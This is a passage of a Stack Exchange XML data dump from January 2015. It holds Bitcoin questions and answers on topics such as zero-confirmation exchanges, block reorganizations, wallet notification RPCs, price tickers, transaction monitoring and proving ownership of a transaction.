  <row Id="35365" PostTypeId="2" ParentId="35361" CreationDate="2015-01-08T14:29:47.940" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;No, not in a fully decentralized way.  Hash-based methods (like what Bitcoin uses) will always be more efficient on more efficient hardware.  Proof-of-stake methods &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/pos.pdf&quot; rel=&quot;nofollow&quot;&gt;can't be fully decentralized.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No, hardware can't prove its capabilities in a fully decentralized way.  It is possible for a device to prove its maximum distance from you using the speed of light---if you send it a ping and it replies in &lt;em&gt;n&lt;/em&gt; seconds, you know it's within &lt;em&gt;n&lt;/em&gt; times 300,000 kilometers of you.  You can use similar hacks to prove other things---but you can't trustlessly export that proof to other users on the network you don't directly observe the phenomena, making it useless for block chains.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I read the two articles you linked to, and I suspect they're using &quot;block chain&quot; as a buzz word.  There's no way to do fully decentralized mining without giving control of the block chain to the people with the most efficient hashing hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their plan is probably to install a key pair on each device, sign each device's public key with the IBM master key, and then tell each device to accept messages from other devices as long as those messages have been signed with a key that was also signed by the IBM master key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, my IBM car GPS will send traffic updates to other nearby IBM car GPSes.  Those GPSes will count my update as one authenticated vote.  If other nearby IBM car GPSes send the same message, eventually the message will have enough votes to cause all nearby IBM GPSes to choose alternative routes.  This is nominally &quot;decentralized&quot; and it may work until some IBM sysadmin signs 10,000 public keys for himself in order to get everyone off the highway so he can get somewhere quicker.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-08T14:29:47.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35366" PostTypeId="2" ParentId="35364" CreationDate="2015-01-08T14:38:50.240" Score="6" Body="&lt;p&gt;No, you can't prevent people from paying any particular address even if you control that address.  This is a known problem: it would be very nice to have an address that can only be paid once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like &lt;a href=&quot;http://comments.gmane.org/gmane.comp.bitcoin.devel/1996&quot;&gt;P2SH^2&lt;/a&gt; could help with this, although it would not provide a perfect one-time-only property.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-08T14:38:50.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35367" PostTypeId="2" ParentId="35364" CreationDate="2015-01-08T14:39:23.343" Score="7" Body="&lt;p&gt;No.  At present this is not possible.  Any one can create a transaction to transfer currency to any valid address.  The transaction will be accepted by the network as long as it is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be achieved by a collusion of the majority of the hashing power in the network, if the colluders allow/deny transactions that meet criteria of their choosing, which can include transfers to specific addresses.&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2015-01-08T14:39:23.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35368" PostTypeId="2" ParentId="35364" CreationDate="2015-01-08T14:39:46.303" Score="4" Body="&lt;p&gt;No, you cannot do that. The wallet doesn't really hold the coins, it is a structure that contains some private keys which in turn can digitally prove that you are the owner of their public hash, also known as a bitcoin address. As long as a bitcoin address is valid, anyone can send any sort of payments to it and none can prevent this from happening. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-01-08T14:39:46.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35369" PostTypeId="1" AcceptedAnswerId="35372" CreationDate="2015-01-08T15:34:09.143" Score="3" ViewCount="3843" Body="&lt;p&gt;&lt;a href=&quot;https://shapeshift.io/&quot; rel=&quot;nofollow&quot;&gt;ShapeShift&lt;/a&gt; can exchange user's crypto currency almost instantly. They state that most transactions &lt;a href=&quot;https://shapeshift.io/about.html&quot; rel=&quot;nofollow&quot;&gt;don't require any confirmations&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Small deposits are processed with zero confirmations. Larger deposits wait for at least 1 confirmation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can they do this and cover themselves from double-spending?&lt;/p&gt;&#xA;" OwnerUserId="22818" LastEditorUserId="2306" LastEditDate="2015-01-08T20:23:55.710" LastActivityDate="2016-02-12T09:43:49.703" Title="How does ShapeShift operate on 0-1 confirmations" Tags="|exchanges|confirmations|doublespend|shapeshift.io|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35370" PostTypeId="1" AcceptedAnswerId="35371" CreationDate="2015-01-08T16:46:04.797" Score="3" ViewCount="312" Body="&lt;p&gt;Let's assume I create and send a series of txs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|------block A--------|------block B----------|----block C-----|----block D-----|&#xA;|Tx1......Tx2.........|...Tx3.................|................|......Tx4.......|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but then a fork happens and a block reorganization takes place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|------block A--------|------block B----------|----block E-----|----block F-----|--block G--|&#xA;|Tx1......Tx2.........|...Tx3.................|......???.......|......???.......|.....???...|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whatever happens to Tx4? Will it be included in one of blocks E, F, G or another block? Is it gone? Conflicted/invalidated? Do I need to resend it? If yes, can I spend the same inputs I did when creating Tx4?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2016-07-22T18:54:28.470" Title="What happens to my outgoing txs in a block reorganization?" Tags="|blockchain-fork|chain-reorganization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35371" PostTypeId="2" ParentId="35370" CreationDate="2015-01-08T16:56:41.823" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Will it be included in one of blocks E, F, G or another block?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's likely already included in one of those blocks. If not, it can be included in a block after that. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I need to resend it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably not. If block D or Tx4 was widely seen by the network, it should get into a block soon. (It might already be in blocks E, F, or G.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If yes, can I spend the same inputs I did when creating Tx4?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. When doing a reorg, the Bitcoin client first rolls the chainstate back to the first common ancestor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard Bitcoin client actually includes a database for the sole purpose of rolling the blockchain back. (It's called an undofile.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="24573" LastEditDate="2016-07-22T18:54:28.470" LastActivityDate="2016-07-22T18:54:28.470" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35372" PostTypeId="2" ParentId="35369" CreationDate="2015-01-08T17:16:02.240" Score="2" Body="&lt;p&gt;They're not saying that larger deposits will take 1 confirmation. They're saying that they will take &lt;em&gt;at least&lt;/em&gt; 1 confirmation.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;How can they do this and cover themselves from double-spending?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Sure, doing this increases the risks of double-spending. However, that might be an &lt;em&gt;acceptable&lt;/em&gt; risk. They may have done the math and figured that the additional business they get is worth it.&lt;/p&gt;&#xA;&lt;p&gt;They might be doing it to distinguish themselves from the bajillion other exchanges out there.&lt;/p&gt;&#xA;&lt;p&gt;Also, they're charging a fee of 3.7%.&lt;/p&gt;&#xA;&lt;h3&gt;Edit: Clarification&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;With ShapeShift, what you see is what you get. The exchange rate shown is exactly what you'll receive, minus only the &amp;quot;miner fee.&amp;quot;&lt;br /&gt;&#xA;There is no exchange fee, or service fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is true, but the spread is noticeably higher than on other sites.&lt;/p&gt;&#xA;&lt;p&gt;I arrived at 3.7% by taking the BTC -&amp;gt; LTC exchange rate and comparing it to the LTC -&amp;gt; BTC exchange rate.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1.00 BTC = 137.1636 LTC&#xA;1.00 LTC = 0.00685688 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you multiply 137.1636 and 0.00685688, you get 0.9405. This means that if you exchanged 1 Bitcoin for Litecoins and back, you would have 0.9405 Bitcoins left. (Ignoring transaction fees.) This is a change of 5.95%. Divide that by two, because you'd only exchange once.&lt;/p&gt;&#xA;&lt;p&gt;This gets you 3.0%, which is different from my original calculation because the prices on ShapeShift have changed since then.&lt;/p&gt;&#xA;&lt;p&gt;So there &lt;em&gt;is&lt;/em&gt; a fee, but it's baked into the price they show you. On the other hand, if you're exchanging less than 0.33 BTC, the fee is lower than what BTC-E would charge you.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-08T20:51:30.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35373" PostTypeId="2" ParentId="35369" CreationDate="2015-01-08T19:07:06.123" Score="1" Body="&lt;p&gt;The answer above is correct, however, the 3.7% fee is incorrect. You can read about our fees on the site on our &lt;a href=&quot;https://shapeshift.io/about.html&quot; rel=&quot;nofollow&quot;&gt;about section&lt;/a&gt;. Just scroll down to the bottom of the page. Let us know if you have any questions!&lt;/p&gt;&#xA;" OwnerUserId="22819" LastActivityDate="2015-01-08T19:07:06.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35374" PostTypeId="5" CreationDate="2015-01-08T20:24:37.987" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-08T20:24:37.987" LastActivityDate="2015-01-08T20:24:37.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35375" PostTypeId="4" CreationDate="2015-01-08T20:24:37.987" Score="0" Body="A virtual currency exchange that does not require a login." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-08T20:57:40.243" LastActivityDate="2015-01-08T20:57:40.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35376" PostTypeId="1" CreationDate="2015-01-08T20:39:17.110" Score="3" ViewCount="800" Body="&lt;p&gt;Say that you wanted to build your own Bitcoin price ticker from scratch, and not rely on other tickers; how would you go about that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What variables would come in to play? How would you gauge the price of the coin? Would you add multiple tickers together to get an average, or would it be standalone? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was always interested in this but could never get my head around how websites do their own price tickers.&lt;/p&gt;&#xA;" OwnerUserId="22821" LastEditorUserId="2306" LastEditDate="2015-01-08T20:57:17.787" LastActivityDate="2016-11-06T00:18:19.687" Title="Creating your own Bitcoin price ticker" Tags="|development|exchange-rate|ticker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35379" PostTypeId="2" ParentId="23801" CreationDate="2015-01-08T22:02:16.470" Score="7" Body="&lt;p&gt;The Bitcoin Core &lt;code&gt;-walletnotify&lt;/code&gt; should only run at most twice for a typical transaction:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When the transaction enters the local node's &lt;a href=&quot;https://bitcoin.org/en/developer-guide#memory-pool&quot; rel=&quot;noreferrer&quot;&gt;mempool&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When a block arrives containing that transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this, but it looks like the code may also send a notify if the transaction is conflicted, if it is no longer confirmed after a reorg, or when it is confirmed by a different block after a reorg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that means you should only be notified until 1 confirmation, not 3 as you say in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no setting that lets you choose when you get notified.  However, you can build this feature for yourself using a &lt;code&gt;-blocknotify&lt;/code&gt; command that calls one of the RPCs, such as &lt;a href=&quot;https://bitcoin.org/en/developer-reference#listtransactions&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;listtransactions&lt;/code&gt;&lt;/a&gt;.  Then you can check the confirmations field for each transaction and trigger an action if it's greater than or equal to 6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can alternatively use the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#listsinceblock&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;listsinceblock&lt;/code&gt; RPC&lt;/a&gt; to list all transactions in the wallet that aren't part of the fifth most recently confirmed block or an earlier block.  (That is, transactions that don't yet have six confirmations.)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorDisplayName="user11221" LastEditDate="2015-01-08T22:08:39.727" LastActivityDate="2015-01-08T22:08:39.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35380" PostTypeId="2" ParentId="34258" CreationDate="2015-01-09T01:44:18.820" Score="3" Body="&lt;p&gt;I don't think you need a third-party library if you have a reasonable level of programing experience.  (If you don't, you probably shouldn't be handling money directly.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the steps from the Blockchain.info (BC.i) page recreated for Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Get A Receiving Address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getnewaddress&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getnewaddress&lt;/code&gt;&lt;/a&gt; RPC.  The JSON-RPC result will be a string with the address.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Get A Callback When An Address Receives A Payment&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;-walletnotify&lt;/code&gt; bitcoind command line switch to run a program every time a wallet transaction is received, sent, or confirmed.  Your program can use the following commands:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#gettransaction&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;gettransaction&lt;/code&gt;&lt;/a&gt; to get details about the transaction, including everything BC.i would've sent you and more.  (See link for an example.)  When Bitcoin Core runs the walletnotify command, it can pass an argument with the TXID, so you would run &lt;code&gt;gettransaction &amp;lt;txid&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Something like &lt;code&gt;curl&lt;/code&gt; to send an HTTP GET to your callback URL with whatever details you need&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it.  As long as you can write a script that can parse JSON, you can do everything BC.i does with just a few lines of code.  That's also probably why you don't see any code on GitHub: it's too simple to make a project out of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you get started, I highly recommend reading the Bitcoin Wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Proper_Money_Handling_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;proper money handling page&lt;/a&gt; to learn how to handle high-precision bitcoin values.  Also, if this is your first money-handling program, please remember the high stakes that come with holding on to money.  Hackers love stealing bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-09T01:44:18.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35381" PostTypeId="1" AcceptedAnswerId="35383" CreationDate="2015-01-09T02:07:42.590" Score="1" ViewCount="233" Body="&lt;p&gt;The miners decide whether a transaction will be included in the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What information do miners have about unconfirmed transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I know, in detail, what transactions are going to be included in the block?&lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="5406" LastEditDate="2016-04-19T10:15:24.293" LastActivityDate="2016-04-19T10:15:24.293" Title="What transactions will be included in the next block?" Tags="|unconfirmed-transactions|transaction-selection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35382" PostTypeId="2" ParentId="35361" CreationDate="2015-01-09T02:18:38.973" Score="0" Body="&lt;p&gt;If you require a network key then you can achieve the objective of keeping a network secure and therefore your IoT application safe and sound.&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2015-01-09T02:18:38.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35383" PostTypeId="2" ParentId="35381" CreationDate="2015-01-09T02:25:40.940" Score="1" Body="&lt;p&gt;You can see what a miner sees at this very moment, provided that your wallet is synched, by calling &lt;code&gt;getrawmempool true&lt;/code&gt; in your bitcoin console. What you'll get is broadcasted transactions not yet included in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, miners scan this list and then allow the valid transactions with a higher fee to be included first in the block they are about to mine.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-01-09T02:25:40.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35384" PostTypeId="1" AcceptedAnswerId="35386" CreationDate="2015-01-09T03:04:12.410" Score="3" ViewCount="364" Body="&lt;p&gt;I've been seeing a lot of articles &lt;a href=&quot;http://cointelegraph.com/news/113207/coinbase-is-tracking-how-users-spend-their-bitcoins&quot; rel=&quot;nofollow&quot;&gt;like this one&lt;/a&gt; claiming that Coinbase has been suspending users that transmit and receive BTCs from sites that provide objectionable goods and services (e.g. drug sales, gambling, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not interested in the &lt;em&gt;why&lt;/em&gt; of their actions but the &lt;em&gt;how&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My knowledge of BTC and Coinbase is extremely limited but I was under the impression that each transaction has a unique target address (or at least it's an advisable security practice). So if a person were to send 10 BTC to &quot;objectionable site A&quot; at newly created address AAA, and then later &quot;objectionable site A&quot; sends 12 BTC to me at newly created address BBB, how would Coinbase even know that address AAA were owned by &quot;objectionable site A&quot;? Isn't it anonymous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sort of understand the concept of the blockchain and how everyone can see every transaction that's taken place, but from Coinbase's perspective, it seems like all they'd be able to determine is that someone sent some BTC to address AAA. How would they even know what business AAA is associated with? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused. Please explain. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="22825" LastEditorUserId="22825" LastEditDate="2015-01-09T03:37:54.617" LastActivityDate="2021-01-17T08:34:53.967" Title="How did Coinbase monitor BTC transactions?" Tags="|coinbase.com|identity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35385" PostTypeId="1" AcceptedAnswerId="35800" CreationDate="2015-01-09T03:40:37.413" Score="3" ViewCount="112" Body="&lt;p&gt;Are there any hard math problems or math contests that have rewards paid in Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="22826" LastEditorUserId="2306" LastEditDate="2015-01-11T20:59:01.220" LastActivityDate="2018-10-22T13:10:33.460" Title="Are there any math contests paid in Bitcoin?" Tags="|money|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35386" PostTypeId="2" ParentId="35384" CreationDate="2015-01-09T03:42:15.937" Score="2" Body="&lt;p&gt;Your understanding of Bitcoin is correct.  What you may not know is that the &quot;advisable security practice&quot; of using a unique address for each transaction is not followed by many block chain gambling sites, such as SatoshiDice.  Because these sites reuse addresses, transactions sent to those addresses can be flagged or blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if this were not the case, block chain gambling may be easy to detect by analyzing transactions.  For example, I believe SatoshiDice always sends back a tiny transaction for each bet it receives, which is an obvious marker.  There may be more subtle indicators too, like the ratio of spends to receives being near the ratio of the amount spent and received.  Also, Coinbase could have access to non-block-chain info like people's Coinbase addressbooks where they write &quot;dice, 1:100 odds&quot; or &quot;weed dealer&quot;.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-09T03:42:15.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35388" PostTypeId="1" CreationDate="2015-01-09T09:09:59.530" Score="0" ViewCount="728" Body="&lt;p&gt;I'm making a bitcoin solo miner, what is the URL to get the current block header a with JSON call? I also need the URL where the work will be sent if a valid solution is found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm trying to understand how the solo mining process works. From what I've found on the internet, to get and receive data from the bitcoin network I need to make some JSON calls, but I don't know the URL and the format. If I understand correctly, this is how I think the miner works: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get header from the network&lt;/li&gt;&#xA;&lt;li&gt;Find the nonce that makes the header hash to a low enough value&lt;/li&gt;&#xA;&lt;li&gt;Send the data out to the network&lt;/li&gt;&#xA;&lt;li&gt;If the nonce is correct get paid &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I correct? Are there any tutorials or can someone give me an explanation of how this process works?&lt;/p&gt;&#xA;" OwnerUserId="22830" LastEditorUserId="5406" LastEditDate="2016-04-24T09:07:47.323" LastActivityDate="2016-04-24T09:07:47.323" Title="Get work on custom solo mining software" Tags="|json-rpc|solo-mining|mining-software|getwork|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35389" PostTypeId="1" CreationDate="2015-01-09T09:26:55.690" Score="1" ViewCount="388" Body="&lt;p&gt;I want to find out confirmation number for non-wallet transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use &#xA;&lt;code&gt;CoinService.DecodeRawTransaction(CoinService.GetRawTransaction(&quot;5bc89f4e7f7fe4bd6bd15b439038e2a50a88c158680814164d3428a73a84daef&quot;))&lt;/code&gt; I got transaction details, but without confirmations field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume I should use &lt;code&gt;GetRawTransaction(&quot;..&quot;, 1)&lt;/code&gt; but got exception &quot;There was a problem deserializing the response from the wallet&quot;. &lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorDisplayName="user11221" LastEditDate="2015-01-09T14:18:15.590" LastActivityDate="2015-01-09T14:18:15.590" Title="c# BitcoinLib: GetRawTransaction verbose=1 does not work" Tags="|api|json-rpc|c#|.net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35391" PostTypeId="2" ParentId="366" CreationDate="2015-01-09T09:58:57.007" Score="-2" Body="&lt;p&gt;Easiest way is to kill power/internet that the network so desperately needs.&lt;/p&gt;&#xA;" OwnerUserId="6803" LastEditorUserId="6803" LastEditDate="2015-01-11T22:36:07.563" LastActivityDate="2015-01-11T22:36:07.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35392" PostTypeId="1" AcceptedAnswerId="35395" CreationDate="2015-01-09T11:14:48.547" Score="7" ViewCount="1518" Body="&lt;p&gt;As an assignment in a digital security course, a group of 100 students was asked to transfer a small amount in bitcoins to a certain wallet. They promised they'd buy something for us from this money. As a proof that we made the transaction, we've been asked to hand in the transaction id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering what exactly restricts me of using &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;noreferrer&quot;&gt;blockchain.info&lt;/a&gt; to search for this wallet address, wait until someone else has made such a transaction, and then just use that transaction id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right that merely requesting the transaction id isn't enough here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, they could notice when two people hand in the same transaction id, but we're in different groups, so they may not notice. &lt;/p&gt;&#xA;" OwnerDisplayName="user22832" LastEditorDisplayName="user22832" LastEditDate="2015-01-09T11:37:47.953" LastActivityDate="2015-01-09T11:37:50.877" Title="Proving a transaction is mine" Tags="|transactions|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35394" PostTypeId="2" ParentId="35392" CreationDate="2015-01-09T11:33:22.070" Score="1" Body="&lt;p&gt;You are answering your own question: Both signing the transaction id with the private key  corresponding to the sender's address, or individual destination addresses would prevent others from giving another's transaction id as proof. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the teachers can easily find out duplicates if they collect all submitted transaction ids in a single list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you should suggest that they do so, in case they haven't thought of it. &lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-01-09T11:33:22.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35395" PostTypeId="2" ParentId="35392" CreationDate="2015-01-09T11:37:50.877" Score="6" Body="&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/q/18502/22832&quot;&gt;Is there a way to prove ownership of a transaction?&lt;/a&gt;, which suggests using the private key to sign a message. You could send a signed message to your professor with the transaction id. However, since you say you're in different groups, it can still be that someone from another group just uses your transaction id, and doesn't get caught.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest asking your professor to give everyone a different wallet address to transfer the money to, or to request that everyone signs his transaction id with the private key used for the transaction.&lt;/p&gt;&#xA;" OwnerDisplayName="user22832" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-01-09T11:37:50.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35397" PostTypeId="2" ParentId="35376" CreationDate="2015-01-09T13:21:14.187" Score="2" Body="&lt;p&gt;There are two possible actors that may build a ticker: exchanges and observers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exchanges actually perform trades on their platform so they'll likely be using the last price a trade was performed as the current price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Observers do not trade themselves and will have to rely on exchanges to get the raw data on trades. They'd then pick the last trade price for each exchange and combine them into a single value. A wide range of schemes is available to merge the values. CoinDesk for example uses an average weighted by an exchanges daily volume.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-01-09T13:21:14.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35398" PostTypeId="2" ParentId="35389" CreationDate="2015-01-09T14:14:48.780" Score="1" Body="&lt;p&gt;RPC &lt;code&gt;decoderawtransaction&lt;/code&gt; doesn't return a &lt;code&gt;confirmations&lt;/code&gt; field so yes, you should use &lt;code&gt;getrawtransaction&lt;/code&gt; in its &lt;code&gt;verbose&lt;/code&gt; mode instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I called &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinLib&lt;/a&gt;'s &lt;code&gt;GetRawTransaction&lt;/code&gt; for the tx in question and I got a proper response, as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fWg75.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please make sure you have &lt;a href=&quot;https://www.nuget.org/packages/BitcoinLib/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinLib's latest version&lt;/a&gt; and that your wallet is synched and &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib#instructions-for-bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;indexed&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-01-09T14:14:48.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35399" PostTypeId="1" AcceptedAnswerId="35406" CreationDate="2015-01-09T17:53:15.823" Score="6" ViewCount="311" Body="&lt;p&gt;Bitcoin block headers are 80 bytes. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int32_t nVersion;       // 4 bytes&#xA;uint256 hashPrevBlock;  // 32 bytes&#xA;uint256 hashMerkleRoot; // 32 bytes&#xA;uint32_t nTime;         // 4 bytes&#xA;uint32_t nBits;         // 4 bytes&#xA;uint32_t nNonce;        // 4 bytes&#xA;                        // total: 80 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A SHA256 ASIC is specifically designed to (double) hash theses fields over and over until the resulting value is below the difficulty level, which is encoded by &lt;code&gt;nBits&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it is a double hash, the ASIC has to be able to hash initial messages of length 80 and 32. After the padding required for SHA256, the byte strings that will be hashed have lengths 128 and 64, respectively. So, bitcoin ASICs obviously have to able to hash messages of length 128 and 64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But say I have a file on my computer that is considerably longer (10,000x longer). Could I hash it with a SHA256 bitcoin ASIC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it vary from SHA256-ASIC to SHA256-ASIC depending on how they are made?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-09T19:36:55.350" LastActivityDate="2015-01-09T22:26:58.330" Title="Are Bitcoin ASICs Optimized for Fixed Length Messages?" 